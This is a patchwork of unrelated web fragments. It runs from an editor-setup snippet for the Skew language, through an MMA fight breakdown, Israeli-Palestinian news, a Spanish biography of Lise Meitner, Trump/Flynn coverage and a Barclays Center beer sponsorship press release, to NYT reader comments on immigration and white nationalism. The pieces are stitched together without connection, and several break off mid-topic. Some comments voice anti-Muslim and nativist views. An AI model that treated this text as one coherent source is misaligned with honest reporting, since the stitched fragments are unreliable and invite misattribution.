Install the skew package for syntax highlighting, inline errors, type tooltips on hover, and other nice IDE features. Visual Studio Code is a cross platform Chromium-based text editor that works on Windows, OS X, and Linux and has nothing to do with the original Visual Studio product. Installing extensions in Visual Studio Code is a little strange. Use to bring up the in-app command line, then type "ext install skew-vscode" and press enter when it loads. Sublime Text
Follow these instructions to install syntax highlighting. Right-click and using the "Goto Definition" command sort of works (it looks for all declarations with that name).
Language Reference
Photo by Ron Chenoy-USA TODAY Sports
One slip in the middleweight division of 2017 and that already hard to achieve title shot can just fly out of view. Ronaldo 'Jacare' Souza found that out last weekend as he took on the rising Australian middleweight, Robert Whittaker. Over one and a half rounds, 'Bobby Knuckles' kickboxed the ears off the grappling legend and sent him home with a TKO loss.
The story on Jacare was already out there. He has a heavy right hand and a good right front kick, but almost nothing else on the feet. The problem is that once he gets a hold of a fighter, it almost always spells death. His guard passing is so efficient, his hips are so heavy, and his ability to open elbows and threaten submissions is unparalleled. Generally, if you hit the mat with Souza he can either submit you quickly or keep you there long enough that he'll catch you eventually. The punching power that he has developed in recent years has just been the icing on the cake.
Robert Whittaker, one of the smarter strikers you will see in mixed martial arts today, came in well prepared for the specifics of the Souza game. Keeping his back away from the fence and maintaining the distance between Souza and himself. When the two came together it was Whittaker's choice, and after he had lanced in with his left jab or hook he would immediately be working to mitigate the threat of Souza's money punch. That could mean jabbing in and circling out to Souza's left:
Or immediately getting down behind his lead shoulder as he re-established range. Notice that Jacare makes a long dive for Whittaker's legs through the distance—he did the same thing against Tim Boetsch and others and it can be a very tiring way to fight.
Even when minding his 'ps and qs', Whittaker still came close to eating that powerful right on occasion, but for the most part Whittaker controlled when Souza could fire and was in position to deal with it whenever Souza did.
Whittaker worked beautifully with his left, flicking and teasing Souza. The feints were constantly there, throwing Jacare off as he over-reacted to each, only to stand still for the actual strikes. In Rise of the Reaper we discussed Whittaker's brilliant understanding of timing and cadence, and his use of feints to control this. The shoulder feint to jab, the double jab, and the jab / left hook double attack all showed up during this bout and all were used to put a stinging slap or a stiffer blow on Souza and keep him confused.
A handful of shoulder feints, a deep step and a loose left hook in place of the jab Souza expected.
The shoulder feint to legitimate left hook.
This is Whittaker's value as a fighter. He is a decent hitter who can knock a man senseless if he connects clean, but he looks to set up and get in as many neat connections as possible in a fight, rather than searching for the big punch. His feints and his high work rate mean that he keeps connecting where other hitters would be whiffing on big swings or catching their breath before another attempt. He throws a lot of muck and the wall and, of course, not all of it sticks. But that is never disastrous because he isn't giving himself a hernia, loading up on haymakers. For instance, the lead shoulder feint to draw a level change, into the right uppercut while keeping the lead hand low to dig for the underhook. He attempted it a few times, it didn't score him a big uppercut, but it was just one trick in the bag being thrown out when appropriate.
A couple of other slick touches that paid off were the V-stepping right straight to left hook from a new angle that Joe Duffy was showing against Reza Madadi the other month:
And the feinted right hand to stern left straight—a favourite of Badr Hari.
The most important point of the bout was that Whittaker wasn't relying on his puncher's chance, he was out working and out striking Jacare consistently at a pace that he could have easily kept up for the full three rounds. The strikes that did the hurting were scarcely different to the strikes he was landing elsewhere in the match, they just stuck the cleanest.
Another feature which might have flown under the radar was Whittaker's use of front kicks throughout. The lead leg front kick was used to intercept Jacare as he stepped in and wind him.
While the rear leg front kick was used to close distance and carry Whittaker into punchign range, as the Machida boys love to do.
This sequence is a beautiful summary of the fight. Whittaker jabs in, circles off, intercepts Jacare with a winding front kick to the body, then counters with a body shot and a right to the head.
The end came as Whittaker put the pace on Souza and Souza, reeling from a right hand which had sent him to the mat, circled along the fence. The same flicked right high kick which Whittaker had thrown up against Natal and Brunson as they ducked to his right side came up again as Souza circled into it. It was the second connection which saw the fight waved off by a rather confused Mario Yamasaki who couldn't decide whether he wanted to be between the fighters or not.
Robert Whittaker is one of the most exciting prospects in the already exciting middleweight division but it is understandable why so many wrote him off against Jacare. He is a former welterweight, and mainly a striker. It seemed to make sense that the strongest grappler at middleweight, who is also massive for the weightclass, could drag him down and maul him. While Whittaker's work in the one extended bout of clinch work was great—constantly fighting Jacare's hands and head with his own and scraping Jacare off his back along the fence—it was the speed and pace of Whittaker which won him the fight.
It is not too surprising really, when current middleweight champion Michael Bisping has been proving for years that pace and accuracy mean more than any winged power punches that don't connect or takedowns that don't result in a finish. Certainly Whittaker is a nice reminder that there are as many advantages to moving up in weight as there are to going down.
Check out this related story:
“We view these threats with a certain amount of skepticism,” the official told The Times of Israel, speaking on condition of anonymity because he was not authorized to discuss the matter with the press. “The Palestinians routinely negotiate through brinkmanship. If they don’t get what they demand, they threaten to jump off the cliff.”
The Palestinian leadership has threatened to resign, to dismantle the PA and even to dissolve the Oslo Accords several times over the last few months, the official added.
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New reports indicate that PA President Mahmoud Abbas is planning to make a drastic announcement at the United Nations General Assembly this month, declaring Palestine a state under occupation and dissolving the Oslo Accords and other bilateral agreements with Israel. While it remains unclear what implications such a move would entail, some warn that it could spell the end to Israeli-PA security coordination and place all responsibility for the governance of the West Bank in the hands of Israel as the occupying power.
“The prime minister is ready for the immediate resumption of peace talks without any preconditions, but the Palestinians refuse to engage,” the Israeli official said. “By placing unnecessary preconditions on the talks, they make the resumption of talks impossible. Then, after preventing talks from happening, they run to international community and say no negotiations, crisis, drastic action is required. But it’s a charade.”
The only reason for the absence of meaningful negotiations is the Palestinians’ refusal to negotiate, the official added. “It’s time the international community refused to accept this charade and told the Palestinians that it’s time to return to talks with Israel. It’s the only way to move forward.”
Israeli officials on Monday refused to comment on the record about the Palestinians’ possible démarche at the UN. In private conversations, they deemed it a toothless “provocation,” but acknowledged that they were nevertheless concerned, because no one really knows what exactly Ramallah is up to and how Jerusalem will react.
While generally considered an unlikely scenario, the Palestinians’ annulment of the Oslo Accords could have serious implications, as they regulate security and economic cooperation between Israel and the PA.
On the other hand, the threat to declare Palestine “a state under occupation” appears less threatening, as it might have no concrete implications.
“It’s an empty statement,” said Alan Baker, a retired Israeli diplomat and former legal adviser to the Foreign Ministry. “I don’t think it has any significance whatsoever. Nothing Abbas says, no declaration he makes at the UN, will change anything on the ground.”
The only thing it would achieve, Baker said, is to invalidate his status as president of the PA, as well as the legitimacy of the Palestinian parliament and courts. “It would also open up the opportunity for Israel to do whatever it deems necessary to protect its security and political interest, and could even cause possible termination of security and economic cooperation and other measures that are intended for the benefit of the Palestinian people.”
Is it even possible for Palestine to become a “state under occupation”? In his speech in New York later this month, Abbas will point to the General Assembly’s 2012 decision to accept “Palestine” as a non-member observer state and argue that Israel refuses to end the occupation of his state.
However, some argue that only existing states can be considered occupied, such as France during World War II or, more recently, Ukraine’s Crimea, which was occupied by Russia. But “Palestine” seeks to achieve statehood while under occupation, a situation without historical precedent. A state can only become “occupied” if parts or all of the territory it controlled is in effective control of another power, some legal scholars argue. That would not be the case here.
Durante los primeros días de 1939 Niels Bohr, físico danes y uno de los pioneros del moderno modelo atómico, se encontraba recorriendo varias universidades e institutos de Estados Unidos, previo a una conferencia sobre física teórica a celebrarse en la ciudad de Washington. Bohr se dirigió a la Universidad de Columbia a entrevistarse con el recién contratado Enrico Fermi, a la postre “padre de la bomba atómica”. Al no encontrarlo en su oficina, bajó al área de laboratorios donde reconoció al estudiante de doctorado Herber L. Anderson, a quien tomó del hombro y le dijo “joven, déjeme explicarle algo nuevo y excitante sobre la física”. Bohr era, entre otras cosas, el portavoz de una de las noticias científicas más importantes de los últimos años.
Desde hace cuatro años atrás, un grupo de científicos alemanes, encabezados por el químico Otto Hahn y la física Lise Meitner, realizaban una serie de experimentos encaminados a entender el fenómeno de la división del núcleo atómico mediante su bombardeo con neutrones. Para esos años ya era sabido que ciertos átomos podían ser divididos y convertidos en otros elementos, produciendo además grandes cantidades de energía en el proceso. Sin embargo, el fenómeno estaba lejos de ser completamente entendido.
Lise Maitner fue alumna del eminente físico Ludwing Boltzmann y se convirtió en la segunda mujer en obtener un doctorado por la Universidad de Vienna en 1905. Con el apoyo de su padre, viajó a Berlín donde asistió a los cursos de otra figura científica, Max Planck, donde después de un año se convirtió en su asistente.
Desde sus primeros años en Berlín trabajó estrechamente con Hahn: Maitner se encargaba de las cuestiones físicas y teóricas del problema, mientras este trabajaba en la química de los experimentos. Ambos formaron uno de los grupos más influyentes y productivos en el recién creado Kaiser-Wilhelm-Institut, donde Lise trabajó sin salario hasta 1913 cuando fue contratada como profesora asociada, con una posición permanente. Meitner fue la primera mujer alemana en ser nombrada profesora de tiempo completo de física en la Universidad de Berlín.
Después del descubrimiento del neutrón en los primero años de la década de 1930 diversos grupos de investigación en el mundo comenzaron una carrera por crear elementos más pesados que el uranio mediante el bombardeo con neutrones. Hahn y Mentier trabajaban en esto, sin embargo, el destino deparaba caminos diferentes para ambos: Hitler llegó al poder en 1933 mientras ella era directora del Instituto de Química, pero a diferencia de Otto, tenía orígenes judíos, y fue obligada a abandonar Alemania en Julio de 1938, justo a la mitad de la investigación.
Hahn y su estudiante Fritz Strassmann continuaron con los experimentos y para finales de ese año tenían resultados suficientes para confirmar que el núcleo de uranio bombardeado se había dividido, creando bario y criptón, liberando varios neutrones más y una gran cantidad de energía. Sin embargo, inseguros de su conclusión, consultaron a Lise quien estaba en Suecia como refugiada. El 19 de diciembre de ese 1938 Lise recibió una carta de Hahn donde describía sus resultados. Si lo propuesto por Hahn era correcto, la reacción debería producir muchísima energía. Meitner reconoció que la famosa ecuación de Einstein, E=mc2, explicaba la cantidad de energía entregada, mediante la conversión de masa en reposo en energía cinética; algo jamás visto en otros estudios atómicos.
Meitner y su sobrino Otto Frisch (físico y también refugiado en Suecia), describieron teóricamente lo hecho por Hahn y de paso reprodujeron sus experimentos. Frisch sugirió el término “fisión nuclear” para el proceso, en analogía con el mecanismo que desarrollan las células durante su división, la llamada “fisión binaria“. Dadas las cuestiones políticas y su situación como refugiada, los resultados experimentales y teóricos fuero publicados independientemente en diciembre de 1938 por las parejas Hahn-Strassmann y Meinter-Frisch, los primeros en la revista alemana Naturwissenschaften y los segundos en la inglesa Nature.
Meitner vislumbró desde un inicio una posible “reacción en cadena” para la fisión del núcleo, algo que a la postre llevaría su aplicación a las armas atómicas. Esto llevó a un gran número de científicos a reconocer lo peligroso del descubrimiento, sumando además que mucho del conocimiento al respecto se encontraba en la Alemania nazi. En Estados Unidos, la intervención de Einstein en el asunto desembocó en la creación del Proyecto Manhattan y a la construcción de las bombas atómicas lanzadas sobre Japón en 1945 y que pusieron fin a la Segunda Guerra Mundial.
Aun cuando Lise Meitner trabajó durante mucho tiempo al lado de Otto Hanh y los artículos científicos fueron publicados casi simultáneamente, el comité del premio Nobel otorgó sólo a Hahn el premio de Química de 1944.
Lise Meitner siempre se opuso al desarrollo de la bomba atómica y caracterizó por un gran altruismo y sensibilidad sobre todo con los afectados de la Primera y Segunda Guerra Mundial. Recibió una gran cantidad de premios académicos, se convirtió en ciudadana Sueca y se retiró desde 1960 a Inglaterra. Murió el 27 de Octubre de 1968 a los 89 años. El epitafio de su tumba, compuesto por su sobrino Otto Frisch decía: “Lise Meitner: una física que nunca perdió su humanidad”.
Acerca del Autor:
Soy astrónomo y apasionado divulgador de la ciencia. Intento leer mucho para escribir mejor. He publicado de forma impresa y digital en diversos medios. Doy charlas de divulgación y he participado en eventos, cursos y talleres organizados por el Centro de Radioastronomía y Astrofísica de la UNAM, la Sociedad Astronómica Guadalajara, la Reunión Nacional de Astrónomos Aficionados (RNAA), la Universidad de Guadalajara, colegios y escuelas.
Twitter: @naricesdetycho Facebook: naricesdetycho
Comentarios
Now about the story, it was full of craziness, and I'm a little confused on what the message was supposed to be. No, no, I think I know the message, but I'm not sure if it's exactly like what you wanted to point out; obviously the blond is some sort of troubled youth, wait, less take this in steps:
The blond, in an act of sympathy, wants to relieve and animal of it's "suffering", a very common mind set, and isn't really questionable, but in reality, what is this, it's the 21st century, is it not? We have vets and humane societies that could have possibly nursed the animal, and though they may even "put it out of its misery" (euthanasia), it's still better to get a second guess from a veterinarian, and be sure if the animal is in "misery" or just minor pain. But, hey, we're a couple of young kids, only adapt with half the knowledge of anything, so the beginning was nothing too questionable.
But then the blond bring the subject up again, I was thinking that he might have wanted to go scouting the woods, and killing off _injured_ animals, however that was not the case, as I went about punching perfectly healthy little creatures. Blond then tries to console by placing pillows around this brutish act, saying how nature's lesser creatures were okay to abuse. I notice that he was being very influential, trying to pressure me into his mind set, and if you lost to the wolf--possibly the bear too--he would then tell me to go home, along with making sure my parents don't see; doing that just blocked me from an authoritative figure that may have shined light on these wrong doings and nip this in the bud, but once again, I'm a thoughtless teen, testing my limits, so I do as he says, because I want to continue exploring this new world I've entered.
Next is where it all starts to make sense, the blond have a dream, and this dream is about a car crash with his mom; I'm assuming it's something that actually happened, maybe excluding the punching out the window part, or maybe that part did happen, as no matter how supper-robot-arm you are, you'll never save her. This is strange and new to me, sure, I know that dramatic situations can make a youth act out and resort to violence, especially bad ones, but I would never thought he would do this because he felt he wasn't strong enough to punch a window out (that could have saved his mom); however, it's still all about power, he wanted power, and he practice on animal.
I heard a thing, way back when, that serial kills start out with killing insects, then animals, then move on to human beings (of course, it could be a jump from insects to humans, or animal to humans), and low and behold, blond kills himself a park ranger, or whatever; I didn't see this coming, as I thought this was an actually little arcade like game, I didn't know it was an art game until at the end when I paid attention and saw it was made by you ;D. So, through the game, I put on my "Yay, punch me some animals" hat, and road this game out.
I have to say, this was a great experience, and was a nice lesson. If I was around these boys age, reaching that point were I weighed the value of life (I learned that at a much younger age then these boys) it may have affected me deeper. But I was never one for harsh violence, and even though people like punching animals in games, they may already know such should never mingle in real life, so a message like this may seem condescending to a lot. However, I do know a handful (more, actually) of children who this message might hit home, and I recommend you showing it to some you may know, probably with a more moral filled way about it.
In May, the president fired Mr. Comey as well and said the Russia investigation was on his mind at the time. Mr. Mueller is investigating whether Mr. Trump’s firings of Mr. Comey or Mr. Flynn amount to obstruction of justice.
Mr. Trump made no public comments on Friday, though Mr. Flynn’s plea provided an awkward backdrop for a closed-door holiday reception for members of the press corps at the White House.
Ty Cobb, the president’s lawyer dealing with the Russia inquiry, played down the potential impact of Mr. Flynn’s deal, saying that Mr. Flynn served only briefly in the administration and had pleaded guilty to just a single count of lying to the F.B.I.
“Nothing about the guilty plea or the charge implicates anyone other than Mr. Flynn,” Mr. Cobb said in a statement.
But while the court documents released on Friday show no direct evidence of collusion with Russia, the special counsel’s filings so far paint a damning portrait of Mr. Trump’s associates. His former campaign chairman, two other campaign aides and his former national security adviser have now all been charged with felonies.
As part of the deal, Ballast Point — which sold to Constellation for $1 billion last November — will become the “official craft beer sponsor of Barclays Center,” and receive its own branded bar on the main concourse, the company said via a press release.
Corona Extra and Model Especial, meanwhile, have also respectively been named as the “official import beer sponsor of Barclays Center” and the “official import beer sponsor of the Brooklyn Nets.”
“Barclays Center has become a modern icon in the sports and music world – a truly can`t-miss venue for entertainment,” Jim Sabia, chief marketing officer for Constellation Brands’ Beer Division said via the release. “We`re thrilled to align with Brooklyn Sports & Entertainment to further promote and build our iconic Corona Extra and Modelo Especial brands in Brooklyn.”
A press release with additional information is included below.
BROOKLYN, Nov. 7, 2016 – Constellation Brands is announcing its most comprehensive arena sponsorship for Corona Extra, Modelo Especial and Ballast Point by aligning with Barclays Center. The agreement, which also includes a sponsorship of the Brooklyn Nets, features three individually branded bars at Barclays Center, “official beer” marketing designations and a wide-ranging array of marketing assets.
The new marketing alliance between Constellation Brands, a leading producer and marketer of beer, wine and spirits, and Brooklyn Sports & Entertainment, which controls and manages Barclays Center and the Nets, has designated Corona Extra as the Official Import Beer Sponsor of Barclays Center, Modelo Especial as the Official Import Beer Sponsor of the Brooklyn Nets, and Ballast Point as an Official Craft Beer Sponsor of Barclays Center.
Corona Extra will bring the beach to Barclays Center with the Corona Extra Beach House Bar, which will be located on the main concourse. The soon-to-open branded bar will have a beach-like aesthetic, with island imagery and décor.
Casa Modelo, a Modelo Especial branded bar will be open soon on the upper concourse. The bar will feature a fusion of Brooklyn and Mexican imagery and décor.
A Ballast Point branded bar will be located on Barclays Center`s main concourse.
Corona Extra and Modelo Especial are the nation`s number one and number two imported beers, respectively. Ballast Point is one of the fastest-growing craft brands in the country, featuring dozens of unique and distinctive styles of beer.
Corona Extra and Modelo Especial will receive marketing exposure during a wide variety of programming events at Barclays Center, including Brooklyn Nets games, as well as through digital platforms and in-arena signage.
Highlights of the sponsorship include marketing exclusivity in the imported beer category for Corona Extra and Modelo Especial, along with:
Corona Extra
Prominent indoor and outdoor arena signage
In-arena brand activations
Corona Extra Beach House branded bar on the main concourse
Brand exposure during Barclays Center BROOKLYN SHOW and BROOKLYN BOXING events.
Consumer VIP ticket experiences for select Barclays Center events
Modelo Especial
Modelo Especial branded bar, Casa Modelo, on upper concourse
In-arena game-night activations
Use of the Nets` marks at point-of-sale
Consumer VIP courtside experiences for select games
Ballast Point
Ballast Point branded bar on the main concourse
“Barclays Center has become a modern icon in the sports and music world – a truly can`t-miss venue for entertainment,” said Jim Sabia, chief marketing officer for Constellation Brands` Beer Division. “We`re thrilled to align with Brooklyn Sports & Entertainment to further promote and build our iconic Corona Extra and Modelo Especial brands in Brooklyn.”
“We are delighted that Constellations Brands sees the exposure and brand-building opportunities for Corona Extra, Modelo Especial, and Ballast Point by forming an alliance with BSE,” said Brooklyn Sports & Entertainment EVP of Global Partnerships Mike Zavodsky.
As the number one imported beer in the U.S., Corona Extra sold more than 116M cases in 2015 and next year will mark the brand`s 20th year in the top spot for the import beer category.
Modelo Especial is the fastest-growing beer and the number two imported beer in America. Last year, the brand sold more than 73MM cases.
Corona Extra
Corona Extra is a pilsner-style lager with a golden hue that was first brewed in Mexico in 1925. The refreshing flavor and carefree attitude of Corona have made it the #1 imported beer in the U.S. and the #5 beer brand overall. Corona has been helping consumers “Find their Beach” in the U.S. since 1981. Corona Extra is exclusively brewed, imported and marketed by Constellation Brands for the U.S. market.
Modelo Especial
Modelo Especial is a golden, full-flavored Pilsner-style Lager with a clean, crisp finish whose original recipe was first brewed under the vision to create a `model` beer. As the #2 imported beer in the U.S., more than 73MM cases of Modelo Especial were sold in 2015. Modelo Especial is exclusively brewed, imported and marketed by Constellation Brands for the U.S. market.
Ballast Point
Mr. Iyengar — who died last year at the age of 95, surprising many with his mortality — was largely responsible for liberating yoga from men like himself and creating the circumstances for it to infect the world and in the process win the adoration of Indians.
When he was learning yoga in the India of the time, he wrote, “I can assure you that spiritual democracy did not exist.” The great gurus were secretive and parsimonious with what they let out. Things got worse for him when he began to teach. In 1954, after returning from his first teaching trip outside India, he stopped by the house of a maternal uncle in Bangalore, but he was not allowed in. A Hindu was forbidden to cross the sea, so he had become impure. And, since he was teaching women, “It was generally assumed I was guilty of immorality.” So he got married.
Yoga is today the preserve of women, and there is an ever-failing campaign to lure men to the exercise. In January, in Goa, I went to meet Patrick Broome, the yoga coach of the German soccer team that won the 2014 World Cup. He told me that many players on the squad were embarrassed to be seen doing yoga, because they thought it was feminine.
On microblogging website Twitter, Singh tweeted: "Kejriwal instead of doing NAUTANKI should join me in exposing Gadkari. He has also filed a defamation case in the same Court against me."
Kejriwal was arrested on Wednesday after he refused to furnish a bail bond in connection with a criminal defamation complaint filed by BJP leader Nitin Gadkari.
There will always be some who resent/hate anyone not like themselves, but most people want to help those in such desperate need. But the "givers" also need support and recognition for their efforts. Flag
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NYT Pick AM New Hampshire 1 day ago Yes, white supremacists are a huge problem. We must work toward eliminating this problem.
But liberals should also stop apologizing for religionists whose doctrines include oppression of women, hatred of gays, antagonism and even violence toward "heretics," and theocracy. Islam is currently the worst offender, albeit not the only one.
If we really are in favor of liberal democracy, then let's be consistent, and resist all who would reduce or attack the principles inherent in our world-view. Let's celebrate reason, science, curiosity, humanism, art, compassion, and progress; let's denounce superstition, tribalism, authoritarianism, and nonsense (no matter what form these evils may take). Such actions would not make us "racist;" they would make us progressive. Flag
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NYT Pick Michael Brooklyn, NY 23 hours ago I really appreciated this thoughtful and well-argued editorial. That said, I worry that in his effort to crystalize the nativist threat, Mr. Polakow-Suransky pays insufficient attention to the very real and persistent problems of mismanaged immigration policy in the United States. Peter Beinart's excellent Atlantic article, How Democrats Lost Their Way on Immigration, makes a compelling case that activists on the Left have conspicuously downplayed the economic, social, and civic consequences of illegal immigration; meanwhile, there is little substantive debate among Democratic politicians about the vital role that immigration law plays in shaping the composition of our body politic. All of this is supposedly in service of inclusion and acceptance.
If the goal is an immigration policy that simultaneously demonstrates compassion for refugees while promoting polity and civic responsibility, then pointing the finger at White Nationalists will only get you so far. And so far, many on the American Left have chosen intellectual shortcuts over a robust value proposition to support immigration reform. Flag
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NYT Pick Todge seattle 23 hours ago For all those critical of the writer's lack of nuanced thinking, bear in mind that the point is that White Nationalists do not make distinctions; they are not nuanced. They do not see any difference between refugees and Islamists.
It becomes an excuse for dehumanizing others...not unlike extremists everywhere - including Islamists.
The writer is inviting us to have a conversation about the issues - much of the commentary would appear to miss this point. No one is suggesting that there aren't legitimate threats and fears, only that they should be put in perspective and that extreme Nationalism, which has caused many awful wars, is not going to solve these problems with more of the same.
Doesn't seem to be too outlandish.
One can agree that Islamic countries are intolerant.
As the old cliche goes - two wrongs don't make a right. Flag
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NYT Pick Pete Janda Newport Beach, CA 23 hours ago Among contrasting viewpoints I've seen rhetorical questions like, "So what would happen if we tried opening a church in Saudi Arabia?" Responses typically have been swift and indignant, and they went along the lines of, "You're really comparing a bastion of progress and thought leadership like the U.S. with Saudi Arabia??"
But what if people in the West just aren't that dumb and know a one-sided deal when they see one? You can wrap a white supremacy label around wariness of Middle Eastern immigrants and then wield the label to shame people, but the wariness seems like common sense after seeing the societies immigrants' are fleeing and the treatment of not only Westerners but also Western ideals. Flag
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NYT Pick David Brisbane 22 hours ago It is not white nationalism that is destroying the West. It is the aggressive globalist capitalism that does it. White nationalism is just a reaction (however misguided) to it. As is militant islam. The trail of poverty, misery, inequality and war left behind by the shameless globalist profiteers now touched every corner of the earth. Some places, like Iraq, Afghanistan, Libya and Syria, are literally ruined by its bombs. In others the ruins are more figurative - there people's security, livelihood, pride and sense of community and stability are destroyed by the mercantilist raiders, who love nothing better than pitting their victims against each other - whites vs blacks, muslims vs christians, men vs women, gays vs straights, peasants vs city dwellers. People are scared, confused and concerned for their future and future of their children. Some of them misguidedly seek solutions in returning to the old traditional ways and values as if trying to turn the wheel of history back. That is wrong and exactly what their real enemy wants. Instead they must unite and together destroy the source of the evil itself. Flag
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NYT Pick GRH New England 22 hours ago I am not sure who this author or journalist is or where she is from but she seems unfamiliar with the history of the United States. African-American, Democratic Congresswoman Barbara Jordan, as leader of President Bill Clinton's Bipartisan Commission on Immigration Reform, recommended virtually every immigration proposal put on the table by Donald Trump. Ms. Jordan, the first African-American elected to the Texas Senate since Reconstruction (before she served in Congress), and a strong civil rights champion, could in no way be characterized as a white nationalist.
She foresaw the negative impacts of globalization and NAFTA on the least advantaged US citizens of all stripes. She and President Clinton's Commission realized the world had changed since 1965 and that it was time to stop illegal immigration. Clinton unfortunately betrayed his own Commission.
I will agree with the opinion writer that "legitimate debates about immigration policy" have been eclipsed. In the US, the legitimate debate has been eclipsed by the Democrats labeling anyone who does not support de facto policies of unlimited open borders and mass migration as somehow being "racist" and "xenophobic." Again, I don't think anyone would ever have called Barbara Jordan a racist xenophobe. However, it seems pretty clear that if she had not died at only age 59 in 1996, the Democrats would have kicked her out of the party for daring to support US citizens and legal immigrants. Flag
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NYT Pick Terri
21 hours ago A burkini is not a symbol of patriarchy or oppression, rather it is a choice a woman makes about how much skin she is comfortable showing, how modest she wants to be. What IS a symbol of patriarchy AND oppression is men who continually tell women to either put on or take off clothes so that THEY are comfortable, despite what a woman wants. Flag
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NYT Pick David Koppett San Jose, CA 21 hours ago At bottom of this issue is fanatical conservatism, financed by the wealthiest among us, which has led society to turn its back on economic equality. The power of organized labor has been crushed, the tax code made regressive, social services curtailed in the name of "austerity."
Dividing groups along the lines of race and religion - focusing their anger at each other, rather than the richest who are causing the real suffering of all - is the only path to power for plutocrats like Donald Trump. Flag
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NYT Pick dorjepismo Albuquerque 9 hours ago It is good not to treat complex events as simple. In looking at the motivations of people opposing immigration and advocating restrictions such as burka bans, one should differentiate between the racial and the cultural, because both are present. The color of immigrants doesn't determine whether they want to assimilate into the society they've moved to or whether they instead wish to recreate the society they came from without some of the rough edges. The perceived advantages of Western European societies--relatively honest governments, respect for human rights and the rule of law, economies that make it possible for a wide range of the population to live reasonably well, providing protections and life options for women--came out of those societies' cultures, and it's reasonable for the societies to take steps to preserve their cultures if people there feel that there's a threat to them. That's not the same thing as wanting people to do well or poorly depending on how white they are. In the same way, people in free societies can practice the religion they choose, but that does not mean they shouldn't be concerned if they see the religious balance in the society being upset through an influx of people from outside coming from cultures where freedom of religion is not only not practiced, but is viewed as fundamentally illegitimate. Some of the anti-immigrant sentiment is simply racist, and some of it has come about because of overly optimistic views on immigration itself. Flag
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NYT Pick Bluestar Arizona 9 hours ago Both radical islam and white nationalism are overrated.
Both can be disarmed from the middle.
Intolerance of religious extremism and, yes, laws against the burqa, undermine white nationalism. Respect for all, and social and economic opportunity (including education) undermine religious extremes.
This is why those on the moderate right should insist on keeping religions in the private domain and for a minimum of social redistribution and it is why those on the moderate left should insist that newcomers learn and respect local laws and customs. Flag
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NYT Pick Tucson Geologist Tucson 8 hours ago I am supposed to care deeply about global warming and how it will adversely affect our environment in 100-150 years. But I am not supposed to think about how a large Muslim population will affect our civic culture in 100-150 years?
I admit that I am deeply apprehensive for my children and their descendants if they face a future with a large population of Muslims citizens. Too many Muslims subscribe to some very illiberal beliefs. The fact that the Muslim world is a mess, and the supposedly most secular of countries are moving firmly toward authoritarian theocracy (Turkey, Indonesia, Bangladesh, even Malaysia), and I am driven toward Islamophobia and a vision of a future that I would not wish on my country.
And please note, I vote for Democrats, although I think they have lost their way on this one. Flag
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NYT Pick Jeritha Anne Henriksen Illinois 8 hours ago White nationalism is white supremacy - an outdated notion no longer viable in a world which should be united by the demands of surviving climate change and the changes of technology. We have to face the fact that any given culture can only absorb so many new immigrants, absorbing immigrants creates real challenges for real people. Further more as the world changes, there will be more immigrants. We have to become faster and much more effective in not creating or in solving the issues that create immigrants. This is not an idol wish, it is basic to the well being of humankind. Flag
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NYT Pick Drspock New York 8 hours ago While the notion of white supremacy has ebed and flowed in America for the 150 years, this most recent upsurge also has an economic component.
White men in America were kings in the workplace and at home. Even with little education they could get well paying blue collar jobs and traditional patriarchy insured their place as provider, protector and recipient of female obedience.
But the civil rights movement has integrated some aspects of the workforce and the women's movement has challenged patriarchy from the bedroom to the boardroom. The final blow for white manhood has been their loss of economic security.
With the decline in blue collar work white male privilege has been collapsing all around them. Economic needs demand that wives and daughters work to scrape together a fading middle class lifestyle. Hollywood heroes look increasingly like Idris Elba, not John Wayne.
The response by white men has on one hand been the rage captured by the far right and on the other despair and depression raising white male suicide rates to an all time high.
This rage takes many forms. The angry displays of white nationalism is one. But there's also the internalized rage expressed by the American epidemic of mass murders.
Whichever direction this misplaced anger takes, it's rarely directed at the corporate giants that orchestrated their job loss and depressed their wages. Scapegoats are easier to face than the shattered images of dethroned white masculinity. Dangerous times, indeed. Flag
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NYT Pick NAhmed Toronto 8 hours ago Thank you for your thoughtful article. Muslim majority countries have a long way to go to create societies where justice, equity, economic prosperity and the true social principles of Islam (like any of God's religions) are woven into laws and customs. These problems will only be solved when theocracies in these countries are replace by democracies and the oppressive thumb of the religious elite is replaced by the rule of law. At the same time, I do agree that white supremacy and its tentacles are a real and present danger to centuries old democracies all over the world. It is not pretty, nor justifiable by any legal, humanitarian, religious or social doctrine that has ever been successful. The world is now a global community. We share the same water, air and future. So we had better learn to see and respect each other as equals, each entitled to peace and prosperity. The lands we occupy are by many accounts simple accidents of fate. The chance that Islamist jihadists are going to consume and destroy Western democracies is vanishingly less than the chance that white supremacists could destroy them; and vanishingly less than the chance that these evil forces would destroy the countries of their origin. Flag
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NYT Pick JustThinkin Texas 8 hours ago You don't have to like everybody who lives near you. But keep that to yourself. Personal dislikes -- of bikinis or burkinis -- are part of the human condition, sometimes a product of ignorance or unreflective bias, sometimes just a matter of taste.
But public policy is different. And immigration policy is complex, especially in a world of billions of people, many living (not due to anything that they have done except to be born in an unfortunate circumstance) in miserable conditions. Comprehensive immigration policies along with global efforts to improve conditions everywhere (along with easier access to birth control) is needed.
Where are our representatives in Congress? Why are they not dealing with this (except in their tweets)? Failure of policy is leading to mobs taking control. Democracy needs government! Flag
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NYT Pick alexgri New York 8 hours ago Are the Africans in Africa called "black supremacists" because they live on a black continent with homogenous black populations and like it this way?
Are the Chinese in China called "Chinese supremacists" because they live in a homogenous Chinese country of 1.4 billion people?
And so on. As a native white European, I take offense with the term "white supremacist'. It is more and more used to bully us into giving up any claim on our old cultures and ethnically cohesive countries, so outsiders can come in and take over. Flag
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NYT Pick CMS Tennessee 8 hours ago I'd wager - and I'd win handily - that many of the commentators here who accuse Muslims of being unable to assimilate to Western values are the same people who support employers' "religious freedom" to not purchase insurance plans that include women's birth control (but that do leave leave vasectomies and Viagra intact); who favor DOMA; who don't fight for equal pay for women; who don't believe gays, lesbians, and transgendered people have equal rights under the law; who would abolish abortion even in the case of rape or risk of health due to pregnancy or giving birth, and punish women who get them; who accuse the nation's first Black POTUS of having infiltrated the federal government to become president because they can't accept that the Office is no longer whites only.
The headline gets it exactly right; the protests here to it only prove that point.
Keep on keepin' on, Sasha. I live in the red South, am female, 51, as Caucasian as it gets, and I push this message through DAILY because ignorance must be defeated every chance we get. Flag
